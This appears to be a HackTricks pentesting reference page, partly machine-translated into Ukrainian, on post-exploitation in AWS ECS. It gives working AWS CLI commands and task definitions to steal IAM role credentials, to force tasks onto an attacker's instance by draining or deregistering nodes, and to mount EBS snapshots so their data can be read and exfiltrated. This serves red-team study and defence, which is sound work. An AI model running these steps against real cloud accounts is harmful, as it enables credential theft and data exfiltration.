AWS - ECS Post Exploitation

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

ECS

For more information check:

AWS - ECS Enum

Host IAM Roles

In ECS an IAM role can be assigned to the task running inside the container. If the task is run inside an EC2 instance, the EC2 instance will have another IAM role attached to it.
Which means that if you manage to compromise an ECS instance you can potentially obtain the IAM role associated to the ECR and to the EC2 instance. For more info about how to get those credentials check:

Cloud SSRF - HackTricks

Caution

IMDSv2 with a hop limit of 1 does not block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation for the full attack workflow and bypass notes. Recent Latacora research shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.

Privesc to node to steal other containers creds & secrets

Крім того, EC2 використовує docker для запуску ECS tasks, тож якщо ви зможете втекти на node або отримати доступ до docker socket, ви можете перевірити, які інші контейнери запускаються, і навіть потрапити всередину них та вкрасти прикріплені до них IAM roles.

Making containers run in current host

Крім того, EC2 instance role зазвичай має достатньо permissions, щоб оновити container instance state EC2 інстансів, що використовуються як ноди в кластері. Зловмисник може змінити state інстансу на DRAINING — тоді ECS видалить усі tasks з нього, а ті, що запускалися як REPLICA, будуть запущені в іншому інстансі, потенційно на інстансі атакуючого, щоб він міг вкрасти їхні IAM roles та можливу конфіденційну інформацію зсередини контейнера.

aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

Ту саму техніку можна виконати, відреєструвавши EC2 instance з кластера. Це може бути менш приховано, але це змусить tasks виконуватися на інших instances:

aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

Остаточна техніка, щоб примусити повторне виконання tasks, — повідомити ECS, що task або container було зупинено. Існує 3 потенційні APIs для цього:

# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

Вкрасти конфіденційні дані з ECR контейнерів

The EC2 instance will probably also have the permission ecr:GetAuthorizationToken allowing it to завантажувати образи (you could search for sensitive info in them).

Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)

Abuse the native ECS EBS integration (2024+) to mount the contents of an existing EBS snapshot directly inside a new ECS task/service and read its data from inside the container.

  • Потребує (мінімум):

  • ecs:RegisterTaskDefinition

  • One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService

  • iam:PassRole on:

  • Інфраструктурна роль ECS, що використовується для томів (policy: service-role/AmazonECSInfrastructureRolePolicyForVolumes)

  • Task execution/Task roles referenced by the task definition

  • Якщо снапшот зашифрований з CMK: потрібні дозволи KMS для інфраструктурної ролі (the AWS managed policy above includes the required KMS grants for AWS managed keys).

  • Impact: Read arbitrary disk contents from the snapshot (e.g., database files) inside the container and exfiltrate via network/logs.

Steps (Fargate example):

  1. Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
  1. Зареєструйте task definition з volume, позначеним як configuredAtLaunch, і змонтуйте його у container. Приклад (виводить secret, а потім засинає):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
  1. Створіть або оновіть сервіс, передавши знімок EBS через volumeConfigurations.managedEBSVolume (вимагає iam:PassRole для ролі інфраструктури). Приклад:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
  1. Коли task запускається, container може прочитати вміст snapshot у вказаному mount path (наприклад, /loot). Exfiltrate через task’s network/logs.

Очищення:

aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks